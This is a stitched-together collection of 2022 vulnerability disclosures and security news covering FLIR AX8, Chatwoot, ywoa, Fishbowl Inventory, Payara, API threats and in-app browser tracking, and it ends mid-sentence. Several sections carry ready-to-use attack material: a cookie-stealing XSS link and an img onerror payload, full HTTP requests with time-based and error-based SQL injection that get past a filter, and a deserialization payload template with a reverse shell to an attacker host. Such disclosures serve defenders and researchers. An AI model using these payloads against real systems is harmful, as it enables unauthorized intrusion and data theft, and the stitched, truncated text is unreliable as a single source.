FLIR AX8 versions 1.46.16 and below suffer from command injection, directory traversal, improper access control, and cross site scripting vulnerabilities.

# FLIR AX8 vulnerabilities.

### Product description:

The FLIR AX8 is a thermal sensor with imaging capabilities, combining thermal and visual cameras that provides continuous temperature monitoring and alarming for critical electrical and mechanical equipment.

### Affected products:  
All FLIR AX8 thermal sensor cameras version up to and including `1.46.16`.

### Summary of the 4 vulnerabilities found / What we were able to find:

* [CVE-2022-37061] - Unauthenticated OS Command Injection.

FLIR AX8 is affected by an unauthenticated remote command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands as the root user through the `id` HTTP POST parameter in `res.php` endpoint. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the root privileges. This issue affects all FLIR AX8 thermal sensor cameras version up to and including `1.46.16`.

* [CVE-2022-37060] - Unauthenticated Directory Traversal.

FLIR AX8 is affected by a directory traversal vulnerability due to an improper access restriction. An unauthenticated, remote attacker can exploit this, by sending a URI that contains directory traversal characters, to disclose the contents of files located outside of the server's restricted path. This issue affects all FLIR AX8 thermal sensor cameras version up to and including `1.46.16`.

* [CVE-2022-37062] - Improper Access Control.

FLIR AX8 is affected by an insecure design vulnerability due to an improper directory access restriction. An unauthenticated, remote attacker can exploit this, by sending a URI that contains the path of the SQLite users database, and download it.  A successful exploit could allow the attacker to extract usernames and hashed passwords. This issue affects all FLIR AX8 thermal sensor cameras version up to and including `1.46.16`. 

* [CVE-2022-37063] - Reflected cross-site scripting.

FLIR AX8 is affected by a reflected cross-site scripting (XSS) vulnerability due to an improper input sanitization. An authenticated, remote attacker can execute arbitrary JavaScript code in the web management interface. A successful exploit could allow the attacker to insert malicious JavaScript code. This issue affects all FLIR AX8 thermal sensor cameras version up to and including `1.46.16`.

###  Step by Step Example (How to Reproduce and verify) the vulnerabilities:

1. Unauthenticated Remote Command Injection.

The endpoint `/res.php` can be called remotely without user authentication as there is no cookie verification `Cookie: PHPSESSID=ID` to check if the request is legitimate. The second problem is that the POST parameter `id` can be injected to execute any Linux command. In the example below we create a crafted query that displays the contents of the `/etc/shadow` file.

The server returns a JSON response containing the contents of the `/etc/shadow` file.  This command injection is due because there no sanitization check on the variable `$_POST["id"]`, line 65, and can therefore take advantage of the `shell_exec()` function to execute unexpected arbitrary shell commands.

2. Unauthenticated Directory Traversal.

The endpoint `/download.php` can be called remotely without user authentication as there is no cookie verification `Cookie: PHPSESSID=ID` to check if the request is legitimate. The second problem is that the GET parameter `file` can be injected with a relative file paths and download any files in the system. In the example below we create a crafted query that download the contents of the `/etc/passwd` file.

The error is due to the fact that there is no sanitization of the `$file_path` variable, line 26, when the `fopen()` function is called, line 39. However a comment in the code, line 24, and the use of the function `pathinfo()`, line 28, suggests that the developer thought about this problem and therefore created the variable `$path_parts` which is sanitized. But for some reasons the developer does not use the sanitizer variable `$path_parts` when the function `fopen()` is used. Probably an oversight.

3. Improper Access Control.

The endpoint `/FLIR/db/users.db` can be called remotely without user authentication as there is no cookie verification `Cookie: PHPSESSID=ID` to check if the request is legitimate and let any malicious actor to download the `users.db` SQLite database.

4. Reflected cross-site scripting.

In the settings tab, if a file with a filename that contains JavaScript code is selected via the update firmware file input the JavaScript code will be triggered and executed. In our example, we created a file call 

<img src=x onerror=alert(String.fromCharCode(97,108,101,114,116,40,39,116,101,115,116,39,41,59));>.run

### Recommendations for how to fix the 4 vulnerabilities:

* Vulnerability 1: The variable `$_POST["id"]`, line 65 in the file `/FLIR/usr/www/res.php`, must be sanitized using the function `intval()` and will remove any character other than integer value. `escapeshellcmd()` and `escapeshellarg()` must be also used to escapes any characters in a string that might be used to execute arbitrary commands. 

More info:   
https://www.php.net/intval  
https://www.php.net/manual/en/function.escapeshellcmd  
https://www.php.net/manual/en/function.escapeshellarg

* Vulnerability 2: The variable `$file_path`, line 39 in the file `/FLIR/usr/www/download.php`, must be sanitized using the function `pathinfo()` but also use a hard coded directory path, in case you need to manage several directories set a whitelist of all allowed directories and use multiple conditions.

More info:  
https://www.php.net/manual/en/function.pathinfo

* Vulnerability 3: Define a whitelist of all directories that a user is allowed to access. This can be added to the Lighttpd server configuration file, in `/etc/lighttpd.conf`.

More info:  
https://www.cyberciti.biz/tips/howto-lighttpd-enable-disable-directory-listing.html

* Vulnerability 4: To protect against filename XSS attack you can use a regex that will parse the filename to leave only numbers and letters.

More info:   
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

### Reference:  
https://www.flir.com/products/ax8-automation/

### Security researchers:  
* [Thomas Knudsen] (https://www.linkedin.com/in/thomasjknudsen)  
* [Samy Younsi] (https://www.linkedin.com/in/samy-younsi)

FLIR AX8 1.46.16 Traversal / Access Control / Command Injection / XSS

APTs continue to exploit the dynamic job market and the persistent phenomenon of remote working, as explored by PwC at Black Hat USA.

Fake job offers have become a top phishing tactic for state-sponsored threat actors to lure in unsuspecting targets in the wake of the COVID-19 pandemic, as many reconsider their careers amid growing demand for skilled workers and managers.

The cyber-threat analyst team at PwC, which has followed a prime example of this (the Lazarus Group's Operation In(ter)ception) closely, presented a detailed account of the Lazarus campaign and how the group implemented the strategy during last week's Black Hat USA 2022 conference in Las Vegas.

PwC principal threat analyst Sveva Vittoria Scenarelli, who studies advanced persistent threats (APTs) in the Asia-Pacific region with an emphasis on North Korea, noted that the stakes are high.

"This is an espionage-motivated campaign that is incredibly persistent in targeting the aerospace sector, the defense industrial base, manufacturing chemical sector, for everything from military secrets to intellectual property to confidential information of strategic interest," Scenarelli explained during her presentation at Black Hat, called "Talent Need Not Apply: Tradecraft and Objectives of Job-themed APT Social Engineering."

The Cybersecurity & Infrastructure Security Agency (CISA) agrees, and has warned that the threat actors (aka APT38, Black Artemis, BlueNoroff, Hidden Cobra, and Stardust Chollima) "employ malicious cyberactivity to collect intelligence, conduct attacks, and generate revenue."

Scenarelli explained that Lazarus follows up with its targets via messaging apps such as WhatsApp.

This is "to make sure that the victims do open the malicious viewer documents or the malicious executables that the threat actor has sent," she said. "Black Artemis will also set up domains. This can be for command and control of its malicious implants to send emails that appear to come from on a legit site, or indeed to perform Web exploitation as an initial access method."

Scenarelli explained that Black Artemis creates domains that spoof prominent job search websites like Indeed, with attractive positions at high-profile companies such as Google and Oracle. She underscored that many sites look legitimate, though there are obvious signs they are fake. For instance, the Indeed decoy site URL is Indeed.US.org, she said. Scenarelli noted that the job descriptions disguised as .docx, .pdf, or .rtx files launch when the victims click on the documents, which may enable macros.

Similarly, Scenarelli recalled another attack by the group, which made off with $625 million in cryptocurrency. She warned that this variant, which PwC researchers call "Black Alicanto," is financially motivated and dangerous. In the wake of Microsoft recently disabling macros in Office documents, Scenarelli said this malware might use .lnk files, perhaps embedded in password-protected Microsoft Word documents.

"Threat actors are having to pivot a bit in their initial access techniques and using more and more .lnk files, ISO files, MSI installers, and stuff like that," she said. But in the background, she noted, the .lnk file is calling MSHDA.exe, which connects to a remote server to pull down a malicious JavaScript script that PwC calls "Cabbage Loader."

This script places a .lnk file in the victim's startup folder "to ensure persistence and then pulls down a whole series of other JavaScript payloads," she explained. "These are essentially profilers that want to make sure that the actual person that's interacting with them is not a sandbox, is not a researcher, but it's actually a target of interest."

Scenarelli concluded that Lazarus and other North Korea-based threat actors continue to exploit the growing demand for skilled people, who, despite their training and awareness of threats, can be caught off guard.

"The job market right now is a really key area for North Korea-based threat actors," she said. "So, keep your eyes peeled, make sure you're aware of whom you're interviewing. And for the love of all that is holy, don't open those links that you get sent on LinkedIn, do not open them."

State-Sponsored APTs Dangle Job Opps to Lure In Spy Victims

Cross-site Scripting (XSS) - DOM in GitHub repository chatwoot/chatwoot prior to 2.7.0.

**Title**

XSS in markdown link-maker

**Description**

While chatting with a client, both sides may use markdown. However, neither client's nor Chatwoot inner user's input is verified.

**Steps to reproduce.**

Note: this works in Safari and Firefox, not Chrome.

I will use Telegram bot.

1.  1\. Start a conversation as an attacker with Chatwoot staff using created Telegram bot.
2.  2\. Send payload [clickMe](javascript:alert(document.cookie)) as a message.
3.  3\. As a Chatwoot staff click on the link, trigger an XSS.

Also it is possible to create a malicious link as a staff (e.g. leave it in other's staff conversation in order to trigger an XSS on their side).

1.  1\. While intercepting your traffic send a message [clickMe](https://google.com) to pass frontend check.
2.  2\. In the outcoming POST request to /api/v1/accounts/2/conversations/1/messages modify the body, so it looked something like this:

    {
        "content":"[click](javascript:alert(document.cookie))",
        "private":false,
        "echo_id":"{yourId}",
        "cc_emails":"",
        "bcc_emails":""
    }
    

3.  3\. As some other staff click on the link, trigger an XSS.

I'm leaving a video PoC for both cases:

Video PoC

**Possible remediation**

Verify message content.

**Impact**

This vulnerability is capable of running an arbitrary JS code.

CVE-2022-0542: Cross-site Scripting (XSS) - DOM in chatwoot

Yimioa v6.1 was discovered to contain a SQL injection vulnerability via the orderbyGET parameter.

**ywoaSQL-Inject-Bypass****Environment build****Windows build**

Recommended to use Windows build, because idea build is very troublesome, and report a lot of errors, Windows is a one-click deployment

http://partner.yimihome.com/static/index.html#/index/sys\_env

**1, personnel - personnel information - orderbyGET parameter SQL injection**

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 172.16.140.176:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4CD4E79F3B246F5268600DDF907FA54; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 15

page=2&limit=20

Bypass Payload

id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)

**Environment build****Windows build**

Recommended to use Windows build, because idea build is very troublesome, and report a lot of errors, Windows is a one-click deployment  
  
One-click installation, after the installation will prompt the system has expired, go to setup and take a look  
  
Until June 1, but it's okay, here to change the system time can be  
  
  
Login successfully

**Code audit****1\. Personnel - personnel information - orderbyGET parameter SQL injection**

  

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 192.168.0.35:9888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.35:9888/oa/swagger-ui.html
Origin: http://192.168.0.35:9888
Connection: close
Cookie: JSESSIONID=D767FF96902770375A5E31400342B545; skincode=lte; name=admin; pwd=; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 137

page=1&limit=20&realname\_cond=0&realname=test18&sex=&sex\_cond=1&dept=&dept\_cond=0&op=search&moduleCode=personbasic&menuItem=1&mainCode=

**SQL injection Bypass**

The above injection payload is as follows

id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)

The environment here is from idea, but idea has a lot of error reports, many functions are not available, I changed to Windows one-click deployment  
  
After building it, debug it remotely with idea  
  
When you try to reproduce this vulnerability again, you will be prompted with an XSS interception  
  
  
It was curious at the time why this was XSS intercepted and not SQL intercepted? Look at the code  
  
The specific detection logic is in the filter method in SecurityUtil.java, so let's look at the code logic here  
  
Briefly, the main thing here is to get the values of the request parameters, and then pass them one by one to the following detection logic  
  
Since we just prompted for an XSS attack, we will follow directly into the method antixss to see the specific implementation logic  
Next you will come to Antixss.Java

    src/main/java/com/cloudwebsoft/framework/security/AntiXSS.java
    

  
The antiXSS method is called by passing in the html to be detected and a true  
  
Follow directly in to see  
  
Check the \_antiXSS method, where the content is passed in is the content to be detected  
  
Here is the specific detection logic, but I'm only looking at the stripScriptTag method here, because it is the content inside this method that is detected, and our focus is only on what parameters are detected  
  
Mainly by means of regularity and case-insensitive because of CASE_INSENSITIVE  
  
Pull the following when you can see, in fact, and or sleep is filtered, create a new test class, and adjust it to know  
  
Remove AND  
  
The statement is normal, put back and remove sleep, the statement is normal, so since this is the case, replace and with &&, you can  
  
statement returns normally, then after returning here  
  
Returning to SecurityUtil.java, it will enter the logic of SQL injection, following the isValidSqlParam method  
  
Follow the sql_inj method  
  
We have already bypassed the detection of and and need to bypass the code logic in the second box  
  
The main logic here is to separate inj\_str using |, which will generate a list to inj\_stra\[\], and then iterate through the list, each loop will use the indexOf method to determine whether the value in inj\_stra\[i\] is in str, that is, if indexOf returns > 0 value exists, and vice versa, it does not exist, here you can also write a class tuned  
  
  
In the sixth loop, which is when select is detected, then it is obvious that you need to bypass select  
Here I was going to try to use

&& extractvalue(1,concat('~',database()))

Unfortunately, '~' will be detected as XSS, so this method does not work  
  
The && here needs to be converted to url encoding, otherwise this request will report 400  
  
So we can only think of ways to select this keyword, here is a bypass of the payload

id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)

  
Tips: Here just by looking at the screenshot you may think that you can bypass it with SELECT capitalization, but in fact it will be converted to lowercase before calling the sql_inj method  
  
So there is no way to capitalize to bypass

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 172.16.140.176:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4CD4E79F3B246F5268600DDF907FA54; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 15

page=2&limit=20

**Function implementation entrance**

  
  
First will get the get parameter code, if the code parameter is empty, then get the Get parameter moduleCode and assign it to code, if there is no moduleCode in the get parameter, then get the formCode and copy it to code, here the code parameter passed in is personbasic  
  
Continue to the next page  
  
Here is the OA developer's own implementation of the SQLBuilder class  
  
  
Follow this method  
  
Follow such as getModuleListSqlAndUrlStr method, then a sql str will be returned, continue down the line is the place that causes SQL injection  
  
Follow up this listResult method  
  
The statements will then be spelled out in the middle  
  
The executeQuery statement is then executed  
  
The difference between the above and the SQL statement is that one is the count spliced in and the other is the original passed in  
  
This is followed by a return, which is executed here with a 5-second wait, so it causes an injection

CVE-2022-36605: ywoa SQL inject Bypass and Analysis of the article · Issue #24 · cloudwebsoft/ywoa

Ywoa before v6.1 was discovered to contain a SQL injection vulnerability via /oa/setup/checkPool?database.

**Environment construction**

http://partner.yimihome.com/static/index.html#/index/sys\_env

Direct one-click installation can be started, and then login on the account admin password 1111111, login if prompted authentication expired can not log in, change the local system time can

http://172.16.140.189:8088/oa/setup/license.jsp

Once installed here, the source code is available for download at gitee

https://gitee.com/bestfeng/yimioa

Download a good local idea to open a static look at the code on

**\[Frontend\] <6.1 Version Unauthorized SQL Injection**

  
Through the apikit interface fuzz found an interface that can be unauthorized requests, find the corresponding implementation method in the code  
Prerequisite: this hole has a condition, that is, the need for less than 6.1 version, the specific why directly on the code src/main/java/com/cloudweb/oa/controller/ApplicationController.java  
  
The above does not need to care, specifically note the following if(isValid)  
  
First get the version from the configuration  
  
Get to version 6.1, then start the version determination  
  
Determine if it is less than 3  
  
Determine if it is less than 4  
  
Determine if it is less than 5  
  
Determine if it is equal to 6  
  
The condition to be used here is that the version needs to be <= 6 in order to be successful  
So change the version  
  
You also need to change one more location, you need to change the version of the database, otherwise the login will prompt the version is inconsistent, the database and configuration file version judgment class in src/main/java/com/cloudweb/oa/service/LoginService.java  
  
  
Just change the value of the version field in the oa\_sys\_ver table in the database  
  
Restart tomcat after the change, and then request the specified interface without logging in

POST /oa/setup/checkPool?database=test' HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2

Found that the return here actually has a return, will prompt the SQL statement to report an error  
  
Here we bring out the user directly with extractvalue  
  
**POC**

and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))\--+

**HTTP**

POST /oa/setup/checkPool?database=test'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))--+ HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2

CVE-2022-36606: yimiYWOA<6.1 version foreground unauthorized SQL injection · Issue #25 · cloudwebsoft/ywoa

A Java Deserialization vulnerability in the Fishbowl Server in Fishbowl Inventory before 2022.4.1 allows remote attackers to execute arbitrary code via a crafted XML payload.

**Finding A Shell In Your Fishbowl**

White Oak Security discovered an instance of Fishbowl Inventory that was vulnerable to a Java deserialization vulnerability, resulting in unauthenticated remote code execution. 

This issue has been remediated as of release 2022.4.1.

CVE-2022-29805 has been reserved for this vulnerability and is pending official publication.

**Disclosure Timeline**

Before we dive into the details, we want to give our thanks to the Fishbowl Inventory support and development team for their constant communication providing updates while disclosing this issue. Fishbowl Inventory responded promptly to the original disclosure request and resolved the issue in a timely manner which is a very refreshing and mature response from the organization. From our perspective, Fishbowl Inventory is doing everything right in this regard and we hope other organizations follow their lead. 

White Oak Security followed responsible disclosure guidelines by giving Fishbowl Inventory time to remediate this vulnerability and allow customers ample time to patch their instances.

**4/7/22**: Attempted to contact Fishbowl Inventory via online support ticket.

**4/8/22**: Received contact from Fishbowl Inventory. Disclosed vulnerability documentation via the support ticket.

**4/12/22**: Received confirmation that the vulnerability details have been transferred to the development team.

**4/13/22**: Development team confirms that the vulnerability is valid and they are working on a solution.

**4/25/22**: Patch released to the general public with version 2022.4.1.

**8/18/22:** White Oak Security publicly discloses the finding according to our vulnerability disclosure policy.

**Fishbowl Inventory Overview**

Fishbowl Inventory is an inventory management system that helps organize product inventory with accounting integrations and other necessary workflows. The application consists of a web server, inventory server, and desktop application to interact with the servers and perform the business logic. 

**Fishbowl Exposure**

Using Shodan, the Fishbowl Server can be found exposed on the internet on a handful of servers. White Oak Security confirmed that the vulnerable port (28192) was exposed on several hosts, however, White Oak Security did not attempt exploitation against any internet-facing host. 

As specified within the support library article below, the Fishbowl Server on port 28192 is exposed during default installations (1). Therefore, it is reasonable to assume that every internet-facing instance of Fishbowl, in its default configuration without additional firewall rules, would have been vulnerable to this exploit.

**Fishbowl Vulnerability Analysis**

The Fishbowl Server establishes a web server on 80/443 and a TCP Socket Server listening on port 28192 by default. This TCP Socket Server on port 28192 is the vulnerable service. We used Sysinternals TCPView (2) to view the local endpoints.

Analyzing the application installation, the Fishbowl Server Administration program controls the server port, default of 28192.

The Fishbowl Server handles all message processing as a TCP Socket Server. This socket server processes incoming data streams and determines if the data is either JSON or XML. In this vulnerability, we are interested in the XML flow. 

**Fishbowl Attack Flow**

The attack flow can be simplified as the following steps:

1.  TCP Socket Server parses incoming data streams; validates for JSON or XML data types
2.  In the XML flow, an XML document is built from the incoming data
3.  A custom XML parser is created which parses the XML structure, beginning with the root <event> tag
4.  The custom XML parser extracts data from the <head>, <user>, and <body> children elements.
5.  Within the <head> XML element parsing flow, the application base64 decodes a <src> child tag and converts the data within that <src> element into an arbitrary object input stream (using the Java readObject() function). 
6.  This directly leads to an exploitable deserialization condition as any arbitrary object can be provided in this element, such as an object which executes remote commands (called a Gadget Chain).

This is a typical Java Deserialization vulnerability and we should be able to use a pre-existing Gadget Chain using ysoserial (3). Additionally, a custom gadget could be created from pre-existing Fishbowl library objects but was unnecessary for exploitation at this time. For additional information about Java Deserialization vulnerabilities and gadget chains, check out the original research by Chris Frohoff.

The libraries within the Fishbowl Inventory application deployment include several references to the Apache Commons collections, which would allow us to use one of the payloads pre-existing in ysoserial (3).

The Socket Server parses XML data and performs a readObject() on various XML element byte streams. To exploit this issue, White Oak Security used ysoserial (3), a Java Deserialization exploitation kit, to generate a payload that will be deserialized by the application server to execute any command on the host. In this example, a simple PowerShell reverse shell is used to connect back to the target server.

The format of the payload is shown below, where the required event, head, and src fields are used. The payload is contained within the source element body.

    <?xml version='1.0' encoding='utf-8'?>
    <event>
    <head>
    <src name='xyz'>" + payload + "</src>
    </head>
    </event>

Next, a simple Java Socket client was created which connects to the vulnerable server and sends the Java Object as a DataOutputStream. The payload is decoded from XML and then has deserialization performed against many underlying XML child elements. In this example, the ‘src’ element is targeted.

The data is sent to the server and remote code execution is achieved, with a reverse shell (TCP connection) established from the Fishbowl Server to the attacker-controlled host.

**More From White Oak Security**

White Oak Security is a highly skilled and knowledgeable cyber security testing company that works hard to get into the minds of opponents to help protect those we serve from malicious threats through expertise, integrity, and passion.

Read more from White Oak Security’s pentesting team.

****Sources****

1.  https://help.fishbowlinventory.com/hc/en-us/articles/360042632634-Fishbowl-Hosted-Services – FIshbowl Inventory Server Ports Documentation
2.  https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview – Tool for local process analysis
3.  https://github.com/frohoff/ysoserial – Tool for Java Object Deserialization

CVE-2022-29805: Fishbowl Disclosure: CVE-2022-29805 | White Oak Security

Spring4Shell and Veeam RCE exploit topped the list in Q1 2022

Spring4Shell and Veeam RCE exploit topped the list in Q1 2022

API-related security vulnerabilities continue to be a thorn in the side of organizations, with access control flaws now associated with high-severity CVEs.

According to a new whitepaper published by API security firm Wallarm, titled ‘API vulnerabilities discovered and exploited in Q1-2022’, a total of 48 API-related vulnerabilities were found and reported in the first quarter.

Based on industry standards, 18 were considered high-risk and 19 were labeled as of medium severity, the report (PDF) says.

The critical vulnerabilities disclosed publicly earned themselves CVSS v3 scores ranging from 8.1 and 10.

**Top API threats**

Merging both OWASP Top 10 and OWASP API Security Top 10 standards, the cybersecurity firm categorized the most significant API threat disclosures as issues relating to broken access controls (or broken function level authorization, depending on the OWASP standard), as well as injection attacks.

While security flaws including cryptographic failures, insecure design, excessive data exposure, and misconfigurations also made the list, the most dangerous, exploited API vulnerabilities disclosed in Q1 2022 relate to injection attacks, incorrect authorization or a complete bypass, and incorrect permission assignment.

Topping the list of the four most dangerous API vulnerabilities disclosed and reported in the first quarter of 2022 is CVE-2022-22947, also known as ‘Spring4Shell.’

**BACKGROUND** Spring4Shell: Microsoft, CISA warn of limited, in-the-wild exploitation

Spring4Shell is linked to two vulnerabilities – CVE-2022-22963, a SpEL expression injection bug in Spring Cloud Function, and CVE-2022-22947, a code injection attack leading to remote code execution (RCE) in Spring Framework’s Java-based Core module.

A developer publicly released exploit code for the critical bug in March, and although promptly deleted, the release of working RCE code ensured Spring4Shell became a headache for developers who needed to apply Spring’s emergency patch quickly.

The vulnerability was compared to Log4j due to the Spring Framework’s popularity. Before long, Microsoft and CISA warned of active exploitation of the zero-day flaw. Attackers then harnessed the bug to grow the Mirai botnet.

**Enterprise technologies targeted**

The second vulnerability at the top of the API vulnerability list is CVE-2022-26501 (CVSS 9.8), an improper authentication bug in Veeam Backup and Replication that allows attackers to execute arbitrary code remotely without authentication. Veeam supports over 400,000 customers, many of which are enterprise firms.

According to Nikita Petrov, the Positive Technologies researcher who disclosed the critical bug alongside two others, CVE-2022-26501 had the potential to “be exploited in real attacks and put many organizations at significant risk”.

The third flaw, another assigned a CVSS score of 9.8, impacts Zabbix, an enterprise-grade open source network tool. Tracked as CVE-2022-23131, when a non-default setting to enable SAML SSO authentication was in use, the tool’s front end was susceptible to privilege escalation and admin session hijacking – as long as an attacker knew the admin’s username.

**YOU MIGHT ALSO LIKE** SOS.dev program launched to help protect critical upstream software

Fourth is CVE-2022-24327, a lower-grade bug assigned a CVSS score of 7.8 but still considered a severe vulnerability. Found in the JetBrains suite hub, the bug related to developer accounts integrated into the hub which inadvertently exposed API keys with excessive permissions, potentially leading to account takeover or hijacking.

Finally, Wallarm has bundled a category of API security threats as a common denominator in many cyber-attacks today. Described by Mitre as “CWE-639: Authorization Bypass Through User-Controlled Key”, the issues surround system authorization functionality which allows key values to be tampered and users to access other users’ data or records without permission.

APIs, as key communication methods between functions, will remain a target for cyber-attackers as long as they are in use due to their critical roles in modern networks and services.

In recent API security news, open source hacking tool GoTestWAF has introduced API security platform evaluation capabilities, emulating OWASP and API exploits to test API security defenses.

**RECOMMENDED** Vulnerability in open source identity management system Free IPA could lead to XXE attacks

API security: Broken access controls, injection attacks plague the enterprise security landscape in 2022

Categories: News
Categories: Privacy
Tags: Krause

Tags:  inappbrowser.com

Tags:  Meta

Tags:  Facebook

Tags:  Instagram

Tags:  TikTok

A developer and privacy expert created a platform that allows iOS users to see injected JavaScript in their in-app browsers



(Read more...)




The post Spying on the spies. See what JavaScript commands get injected by in-app browsers appeared first on Malwarebytes Labs.

Developer and privacy expert Felix Krause aka KrauseFx announced this week that he had introduced a simple tool to list the JavaScript commands executed by iOS apps when they deployed an in-app web browser to render webpages. He already shared some eye-opening results on his Twitter feed.

By opening Krause's tool—new website inappbrowser.com—in a designated app, the website checks for one of many hundreds of attack vectors, which is JavaScript injection from the app itself. Disclaimer: a green checkmark is no guarantee that there is no JavaScript injection going on.

**The reason**

According to his announcement the development of the tool was triggered by his own report on the risks of mobile apps using in-app browsers. Instead of opening links to external websites in the default browser of the device, many apps render these links inside their own app. More importantly, those apps rarely offer an option to use a standard browser as default, instead of the in-app browser. Since it would be a lot easier for a developer to implement the use of an already present browser, there must be a reason they want you to open the links inside the own app.

Well, one of those reasons is that they can inject their own code into the website they just opened, which allows them to collect all the taps on a webpage, keyboard inputs, website title, and more. This is a privacy risk as such data can be used to create a digital fingerprint of a person. App-makers also claim, with some truth, that users do not like to hop from app to app—leaving their current environment only to be brought to another environment, like a separate web browser, when, for instance, shopping online. 

**How to use**

If you would like to check on some of the apps you are using, here’s how. First, you open an app that you want to analyze. Then you share the URL “https://InAppBrowser.com” somewhere inside the app (you can send it as a DM to a friend). Tap the link inside the app to open it and get a report about the JavaScript commands. Below you can find some results for apps that Krause tested.

**Meta**

Unsurprisingly, Instagram and Facebook have the ability to track interactions like searches, clicks, screenshots, and “form inputs.” Form inputs are a big deal since they can include things like passwords and credit card numbers. According to Meta’s response to Krause’s report, the injected script helps aggregate events, i.e. online purchase, before those events are used for targeted advertising and measurement for the Facebook platform.

One small bonus point for Facebook and Instagram is that they offer you the option to open third-party links in another browser (use that option!), which is more than we can say for TikTok.

**TikTok**

This should not come as a surprise, given that the FCC already called TikTok an unacceptable security risk. When you open any link on the TikTok iOS app, it’s opened inside their in-app browser. There is no alternative. While you are interacting with the website, TikTok subscribes to all keyboard inputs (including passwords, credit card information, etc.) and every tap on the screen, like which buttons and links you click. There is no way to know what TikTok uses the subscription for, but from a technical perspective, this is the equivalent of installing a keylogger on third party websites. TikTok confirmed that those features exist in the code, but said that it is not using them.

"Like other platforms, we use an in-app browser to provide an optimal user experience, but the Javascript code in question is used only for debugging, troubleshooting and performance monitoring of that experience—like checking how quickly a page loads or whether it crashes,” said spokesperson Maureen Shanahan in a statement offered to Forbes.

**Legitimate reasons**

There are some legitimate reasons for apps to use an in-app browser, but these should be limited to first party content. In which case the publisher still should offer the user the option to open the content in another browser or an explanation as to why that is not possible. Such reasons do not exist when it concerns third-party content and such content should always be opened in the browser that the user prefers to use.

**Incomplete**

The inappbrowser tool is unable to show you everything that is going on for a couple of reasons, so a green checkmark is no guarantee.

*   With iOS 14.3 (December of 2020), Apple introduced the support of running JavaScript code in the context of a specified frame and content world. JavaScript commands executed using this approach can still fully access the third party website, but can’t be detected by the website itself, like InAppBrowser.com.
*   The tool cannot detect other app tracking that may occur, such as custom gesture recognition, screenshot detection, or tracking of web request events.

The article and the tool are focused on iOS, because the developer feels he is not knowledgeable enough to talk about the Android side of things, but you can rest assured that the apps you shouldn’t trust will be the same on either platform.

Spying on the spies. See what JavaScript commands get injected by in-app browsers

Payara through 5.2022.2 allows directory traversal without authentication. This affects Payara Server, Payara Micro, and Payara Server Embedded.

**Package**

maven fish.payara.api:payara-bom (Maven)

**Affected versions**

< 5.2022.3

**Patched versions**

5.2022.3

GHSA-h28c-453m-h9xm: Path Traversal in Payara

Ecommerce-CodeIgniter-Bootstrap before commit 56465f was discovered to contain a cross-site scripting (XSS) vulnerability via the function base_url() at /blog/blogpublish.php.

We found multiple XSS vulnerabilities in the latest version of Ecommerce-CodeIgniter-Bootstrap.

Technique details:  
